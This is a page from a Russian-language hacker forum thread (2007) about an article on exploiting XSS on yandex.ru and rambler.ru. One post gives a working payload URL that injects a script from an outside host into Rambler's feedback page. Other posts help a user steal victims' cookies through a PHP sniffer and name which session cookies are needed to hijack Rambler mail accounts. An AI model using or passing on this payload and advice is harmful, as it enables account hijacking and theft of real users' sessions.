ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи > Авторские статьи
Перезагрузить страницу Возможность использования xss на yandex.ru и rambler.ru
   
 
Страница 2 из 4 < 1 2 3 4 >
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 04.11.2007, 11:51
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами: 9976706

Репутация: 1934


По умолчанию
Цитата:
Сообщение от Tadeus  
Блин, что-то на рамблере, у мну не пахаит Document.Location.Replace. Зато Document.Location.Href работает. Как через последнее можно передать cookies?
Именно поэтому в статье для xss на рамблере я написал
Код:
http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script>
вместо document.location.replace. Там какая-то странная фильтрация идет =) Но этот вариант прокатывает.
 

  #12  
Старый 04.11.2007, 13:17
Tadeus
Новичок
Регистрация: 03.11.2007
Сообщений: 4
С нами: 9747458

Репутация: 0
По умолчанию
Блин, а на указание сорца оно ваще не реагирует! Я положил туда алерт - нифига. Стукни в асю, плиз

420-069-087
 

  #13  
Старый 04.11.2007, 18:24
Impuls*
Познающий
Регистрация: 03.10.2007
Сообщений: 83
С нами: 9791873

Репутация: 9
По умолчанию
Кто знает это еще актуально???????Скажите ДА)))хотелось бы знать, а то недавно нашел, хочу провернуть кое-что)
 

  #14  
Старый 04.11.2007, 18:33
inv
Banned
Регистрация: 03.08.2007
Сообщений: 313
С нами: 9879714

Репутация: 291
По умолчанию
утром алерт на рамблере работал на ура
без комментариев
 

  #15  
Старый 04.11.2007, 18:49
Impuls*
Познающий
Регистрация: 03.10.2007
Сообщений: 83
С нами: 9791873

Репутация: 9
По умолчанию
Народ, хэлп!
Я сделал все, как написал AFoST.Скрипты брал его, все залил на сервер от freehostia.com
Сам зашел, проверить работоспособность - не фига не создал файл.
Да, может я что не правильно делаю, как передать себе куки жертвы??с меня ++
 

  #16  
Старый 05.11.2007, 00:55
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами: 9976706

Репутация: 1934


По умолчанию
Была найдена ошибка в php-сниффере. Присутствовала лишняя фигурная скобочка, исправил, если не поможет, стучи.
Последний раз редактировалось AFoST; 05.11.2007 в 01:40..
 

  #17  
Старый 05.11.2007, 08:52
Impuls*
Познающий
Регистрация: 03.10.2007
Сообщений: 83
С нами: 9791873

Репутация: 9
По умолчанию
Я ее сам нашел))все пашет.
 

  #18  
Старый 05.11.2007, 10:08
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами: 9976706

Репутация: 1934


По умолчанию
Сниффер в изначальном варианте был немного сложнее, была проверка на некоторые параметры, забыл скобочку убрать блииин...
 

  #19  
Старый 05.11.2007, 13:10
Impuls*
Познающий
Регистрация: 03.10.2007
Сообщений: 83
С нами: 9791873

Репутация: 9
По умолчанию
2 AFoST,
хотел спросить...вот я все сделал как надо, но у меня нет записей rsid в куках.
Есть логин, ruid, а эта чать просто не передается.
Помогите пожалуйста!!Нужно что-то добавить? как получить эту часть на rambler.ru
 

  #20  
Старый 05.11.2007, 13:24
inv
Banned
Регистрация: 03.08.2007
Сообщений: 313
С нами: 9879714

Репутация: 291
По умолчанию
rsid только на mail.rambler.ru
id.ramber.ru может еще где-то)
Последний раз редактировалось inv; 05.11.2007 в 14:06..
 
 
Страница 2 из 4 < 1 2 3 4 >



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Xss для новичков Micr0b Уязвимости 79 06.07.2018 22:05
Xss bx_N Forum for discussion of ANTICHAT 7 11.03.2007 19:17



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.